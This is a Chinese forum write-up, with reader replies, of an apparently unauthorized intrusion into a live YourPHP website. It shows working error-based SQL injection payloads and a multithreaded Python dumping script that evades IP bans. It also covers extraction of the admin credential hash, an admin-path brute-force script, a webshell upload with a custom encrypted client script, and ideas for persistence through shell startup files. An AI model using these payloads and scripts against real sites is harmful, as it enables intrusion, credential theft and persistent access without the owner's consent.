记一次手工报错注入,绕过WAF的实战【通过】

前言

碰到一个久站,对其进行渗透测试(善意)。过程觉得有意思(主要是自己太菜了),就写出来了。

如果各位师傅觉得有什么不对的地方,欢迎指点。

约定

  • 保密起见,网站域名假定为:aaa.com
  • 本文所有的请求都使用curl/Python模拟。
  • 用户名都经过胡编乱造处理 >_<

信息采集

这里并没有直接上扫描器,因为不确定是否有WAF,防止封IP。

查看WebServer是什么

curl -X HEAD -i http://aaa.com
HTTP/1.1 200 OK
Date: Sat, 04 Jul 2020 10:38:21 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Cache-control: private
X-Powered-By: Yourphp
Set-Cookie: PHPSESSID=5261d4d49dc8f19c3fa9651ac60eb0cf; path=/
Set-Cookie: YP_think_language=cn; path=/
X-UA-Compatible: IE=EmulateIE7
Content-Type: text/html; charset=utf-8

意外得到CMS为Yourphp

查看同IP网站,发现该IP下有很多网站。这里就不列出来了。

查看该域名的解析记录的历史,只有一次。

暂时得到的信息如下:

  • CMS:Yourphp
  • WebServer: Apache
  • 没有更改过域名解析记录
  • 同一个IP下面很有多网站
  • IP地址归属地为:浙江省杭州市 阿里云

其实前面我一直以为这个站是自己写的,因为下面的Power by aaa

看到YourPHP很开心,这个CMS印象中漏洞挺多的。但是这么老的站还"健在",说明可能有WAF。

测试注入

随手找到一个页面,发现有注入,并且得到:

$ curl http://aaa.com/index.php?m=Article&a=show&id=140'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' LIMIT 1' at line 1 [ SQL语句 ] : SELECT * FROM `yphp_content` `a`,`yphp_article` `b` WHERE a.id=b.id AND a.id=140\' LIMIT 1
错误位置

FILE: /data/home/hmu123456/htdocs/Core/Fun/common.php  LINE: 79

得到绝对路径: /data/home/hmu123456/htdocs/Core/Fun/common.php
其中用户名为:hmu123456

之后我尝试进行猜字段,又发现一个新的错误。

$ curl http://aaa.com/index.php?m=Article&a=show&id=140 order by 10 %23
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 10# )' at line 1 [ SQL语句 ] : UPDATE `yphp_content` SET `hits`=hits+1 WHERE ( id=140 order by 10# )

错误位置

FILE: /data/home/hmu123456/htdocs/Core/Fun/common.php  LINE: 79

这个PHP程序使用了这个字段拼接了两次SQL,一次为SELECT查询语句,一次为更新当前访问量的UPDATE语句。

这里我就没什么好的办法了,而且这个UPDATE语句的报错无法绕过。

使用手工报错注入

于是我尝试使用报错注入,先得到后台管理账号密码。

这里我使用的是floor报错注入方法。

floor报错注入详细说明请移步:https://www.jianshu.com/p/b35aa2b653df

获取表名

首先要知道当前数据库下有多少个表,构造请求如下:

http://aaa.com/index.php?m=Article&a=show&id=140 and (select 1 from (select count(*), concat((SELECT count(table_name) from information_schema.tables where table_schema=database()), floor(rand(0)*2)) x from information_schema.tables group by x) a) 

部分返回结果:

tmp/0:<h1>Duplicate entry '521' for key 'group_key'

返回的结果为52个表,后面的1floor(rand(0)*2)生成,后面不再赘述。

其实这里面有效的语句是:

(SELECT count(table_name) from information_schema.tables where table_schema=database())

获取内容的地方在concat函数中,后面不在赘述。

等我执行完这个参数之后,我发现我访问不了这个站点了,直接重置连接了。于是我猜想应该是我报错注入被检测到了...

换了一个IP之后,可以正常访问。原来的IP被拉黑了

这里可以猜想一下,这个WAF,在我注入的时候,没有直接拦截,而且等我执行完之后,分析日志,检测到危险关键词,把我拉黑了。

上方由于需要获得52个表,经过我的测试,如果我同时用一个IP发起多个报错注入的请求,大多数的请求都是可以成功的,"动作"稍慢的请求会被拉黑。我们可以把出错的请求筛选出来,再请求一次,基本上就可以得到全部的表名了(苦逼)。

获取表名,代码:

#!/usr/bin/env python

import os
import requests
import threading

threading_list = []
data_path = './tables'
url_tpl = 'http://aaa.com/index.php?m=Article&a=show&id=140 and (select 1 from (select count(*), concat((SELECT table_name from information_schema.tables where table_schema=database() limit {start},{size} ), floor(rand(0)*2)) x from information_schema.tables group by x) a)'

if not os.path.exists(data_path):
    os.mkdir(data_path)


def write_response(url, table_id):
    try:
        filename = os.path.join(data_path, str(table_id))
        content = requests.get(url).content

        with open(filename, 'w') as e:
            e.write(content)

    except Exception as e:
        print "ERROR: {}, URL: {}".format(repr(e), url)

id_list = range(52) # 52 tables 
for table_id in id_list:
    url = url_tpl.format(start=table_id, size=1)
    t = threading.Thread(target=write_response, args=(url, table_id))
    t.start()
    threading_list.append(t)

for t in threading_list:
    t.join()


得到的表名这里就不展示了。

存账号密码的表名为yphp_user

获取列名

执行请求:

http://aaa.com/index.php?m=Article&a=show&id=140 and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(column_name) from information_schema.columns where table_name=0x797068705f75736572)))

得到部分列名:

XPATH syntax error: ' id,groupid,username,password,em' [ SQL语句 ] : SELECT * FROM `yphp_content` `a`,`yphp_article` `b` WHERE a.id=b.id AND a.id=140 and extractvalue(0x0a,concat(0x0a,(SELECT group_concat(column_name) from information_schema.columns where table_name=0x797068705f75736572))) LIMIT 1 

得到最重要的usernamepassword

说明:单引号和双引号会被过滤,所以使用16进制0x797068705f75736572代表字符串yphp_user

注意:extractvalue一类的报错注入,返回的信息都有长度限制,所以使用的时候要注意。

获取账号密码

执行请求:

http://aaa.com/index.php?m=Article&a=show&id=140 and (select 1 from (select count(*), concat((select concat(username, 0x3a, password) from yphp_user limit 0,1 ), floor(rand(0)*2)) x from information_schema.tables group by x) a)

得到账号和加密密码:

Duplicate entry 'admin:3cd2ac74304e9f80f386d0773db1e5ad50dee1ea1' for key 'group_key' [ SQL语句 ] : SELECT * FROM `yphp_content` `a`,`yphp_article` `b` WHERE a.id=b.id AND a.id=140 and (select 1 from (select count(*), concat((select concat(username, 0x3a, password) from yphp_user limit 0,1 ), floor(rand(0)*2)) x from information_schema.tables group by x) a) LIMIT 1 

这个密码是admin123,别问我怎么知道的...

扫后台

我换IP都是通过服务器换的,服务器是Linux(终端),也比较着急,没时间了解Linux上的扫描器,所以自己随手写了一个扫后台的py脚本,其实就是读取"御剑珍藏版的PHP字典",然后一个个去请求...

#!/usr/env/python

import requests

def check_status(url):
    try:
        if requests.get(url).status_code == 200:
            print 'URL: ', url
    except Exception as e:
        print "ERROR: {}, URL: {}".format(repr(e), url)

with open('PHP.txt', 'r') as r:
    for line in r:
        url = 'http://aaa.com/' + line[:-1]
        check_status(url)

后台地址为:

/admin.php

Getshell

登录后台之后有上传点,而且还可以修改上传类型(过程没有啥含量,不细说和截图),直接上传一句话,拿菜刀连接,然后IP被封了....

再访问发现一句话还被删了...

另外还在后台发现了一个SMTP的账号密码,这个仔细想了一下,还是没登录。毕竟没授权....

使用冰蝎一句话

我从Github下下来的v2.0.1版本的客户端和shell,传上去之后报错说没有openssl_encrypto函数。

于是我再Github上找了一个纯PHP实现的AES-128-CBC的库,整理了一下,传了上去(脚本比较简单我就不传了)。

等我全部配置好了,我用冰蝎的客户端去连接我的SHELL,结果客户端崩溃了...

崩溃原因我没查到,我在自己的测试环境上传马也是崩溃,既然这么不好用...不如自己先写一个简单的好了。代码如下:

#!/usr/bin/env python


import os
import sys
import requests
from base64 import b64encode, b64decode
from base64 import b64encode, b64decode
from M2Crypto.EVP import Cipher

filename = sys.argv[1]

if not os.path.exists(filename):
    print('FILE: {} does not exsists'.format(filename))

# AES crypto functions
ENC=1
DEC=0

def build_cipher(key, iv, op=ENC):
    """"""""
    return Cipher(alg='aes_128_cbc', key=key, iv=iv, op=op)

def encryptor(key, iv=None):
    """"""
    # Decode the key and iv
    key = b64decode(key)
    if iv is None:
        iv = '\0' * 16
    else:
        iv = b64decode(iv)
   
   # Return the encryption function
    def encrypt(data):
        cipher = build_cipher(key, iv, ENC)
        v = cipher.update(data)
        v = v + cipher.final()
        del cipher
        v = b64encode(v)
        return v
    return encrypt

def decryptor(key, iv=None):
    """"""
    # Decode the key and iv
    key = b64decode(key)
    if iv is None:
        iv = '\0' * 16
    else:
        iv = b64decode(iv)

   # Return the decryption function
    def decrypt(data):
        data = b64decode(data)
        cipher = build_cipher(key, iv, DEC)
        v = cipher.update(data)
        v = v + cipher.final()
        del cipher
        return v
    return decrypt


# request codes

url = 'http://aaa.com/Uploads/config/xxxx.php'
post = requests.Session()

post.proxies = {
    'http': 'socks5://192.168.1.108:2080',
    'https': 'socks5://192.168.1.108:2080',
}

params = {
    'pass': '123',
}

key = post.post(url, params=params).content

key = b64encode(key.strip())

with open(filename, 'r') as r:
    payload = '|' + r.read()

payload = encryptor(key)(payload)


data = post.post(url, data=payload)

print data.content

说明:关于这个代码,我使用Python的crypto尝试加密AES-128-CBC,结果Python同样的参数得到的结果和openssl的结果不一样,openssl和PHP是一样的结果,但是就Python的结果不一样,后面换了M2Crypto解决这个问题了。希望大佬们可以解答下我的这个问题。

尝试提权

查看phpinfo发现禁了好多函数,如下:

chmod, exec, system, passthru, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, pcntl_exec, socket_accept, socket_bind, socket_clear_error, socket_close, socket_connect, socket_create_listen, socket_create_pair, socket_create, socket_get_option, socket_getpeername, socket_getsockname, socket_last_error, socket_listen, socket_read, socket_recv, socket_recvfrom, socket_select, socket_send, socket_sendto, socket_set_block, socket_set_nonblock, socket_set_option, socket_shutdown, socket_strerror, socket_write, stream_socket_client, stream_socket_server, pfsockopen, disk_total_space, disk_free_space, chown, diskfreespace, getrusage, get_current_user, getmyuid, getmypid, dl, leak, listen, chgrp, link, symlink, dlopen, proc_nice, proc_get_stats, proc_terminate, shell_exec, sh2_exec, posix_getpwuid, posix_getgrgid, posix_kill, ini_restore, mkfifo, dbmopen, dbase_open, filepro, filepro_rowcount, posix_mkfifo, putenv, sleep     chmod, exec, system, passthru, shell_exec, escapeshellarg, escapeshellcmd, proc_close, proc_open, ini_alter, dl, popen, pcntl_exec, socket_accept, socket_bind, socket_clear_error, socket_close, socket_connect, socket_create_listen, socket_create_pair, socket_create, socket_get_option, socket_getpeername, socket_getsockname, socket_last_error, socket_listen, socket_read, socket_recv, socket_recvfrom, socket_select, socket_send, socket_sendto, socket_set_block, socket_set_nonblock, socket_set_option, socket_shutdown, socket_strerror, socket_write, stream_socket_client, stream_socket_server, pfsockopen, disk_total_space, disk_free_space, chown, diskfreespace, getrusage, get_current_user, getmyuid, getmypid, dl, leak, listen, chgrp, link, symlink, dlopen, proc_nice, proc_get_stats, proc_terminate, shell_exec, sh2_exec, posix_getpwuid, posix_getgrgid, posix_kill, ini_restore, mkfifo, dbmopen, dbase_open, filepro, filepro_rowcount, posix_mkfifo, putenv, sleep

晕~太多了... 最致命的是禁了putenv

连命令都执行不了,试了试几个知道的办法,都没成功,后面有时间在研究下。

整理后的信息如下:

域名:aaa.com
IP: 1.1.1.1 #can't tell you
数据库:MySQL
数据库版本:5.1.48-log
绝对路径:/data/home/hmu123456/htdocs/Core/Fun/common.php
后台地址:http://aaa.com/admin.php
PHP版本:5.2.17
Linux版本:System Linux hmu-054 2.6.18-243.el5 #1 SMP Mon Feb 7 18:47:27 EST 2011 x86_64
PHP.ini: Configuration File (php.ini) Path  /var/www/php5/lib
Loaded Configuration File: /var/www/php5/hichina_ini/hmu123456/php.ini
allow_url_include: Off

尝试修改/var/www/php5/hichina_ini/hmu123456/php.ini没有权限...

查看/data/home/hmu123456目录下的内容,执行上面写的一句话客户端脚本:

python shell.py payload/list-dir.php

返回结果:

filename: backup : filetype: dir
filename: cgi-bin : filetype: dir
filename: htdocs : filetype: dir
filename: ftplogs : filetype: dir
filename: wwwlogs : filetype: dir
filename: .bash_profile : filetype: file
filename: myfolder : filetype: dir
filename: Readme_�ļ��й�����.txt : filetype: file
filename: .zshrc : filetype: file
filename: .emacs : filetype: file
filename: auth : filetype: dir
filename: . : filetype: dir
filename: .. : filetype: 
filename: .mozilla : filetype: dir
filename: .bash_logout : filetype: file
filename: .bashrc : filetype: file

利用.bash_profile.zshrcbash_logout是可以执行命令的,这个管理员啥时候登录都搞不清楚...

最后

连命令执行的限制都没突破,这块应该可以想办法突破的。希望各位大佬们可以给点意见...

其实整个过程下来其实没必要这么麻烦的,比如表和字段名,直接找一套试一下就好了。其实我是为了锻炼一下自己的"能力"。

另外,这个环境当中PHP不支持openssl_encrypto函数,但是是有M2Crypto可以调用的,当时没注意...也就是没必要费那个力气使用那个完全PHP实现加密库来做。

还有那个后台密码是弱口令,admin123为什么自己不试一下....非要装逼跑注入。

  • 通过
  • 未通过

0 投票者

2 个赞

云WAF不会拦截order by select嘛

主要是。这个我感觉吧不是waf。这么明显的sql 注入都不拦截。还有文件上传
我感觉是那种马后炮服务的防止cc的那种。
例如Fail2ban
而且主要看他返回包。也没啥云waf 的特征。
但是后面的删马子也说不通。奇奇怪怪的真实环境真让人捉摸不透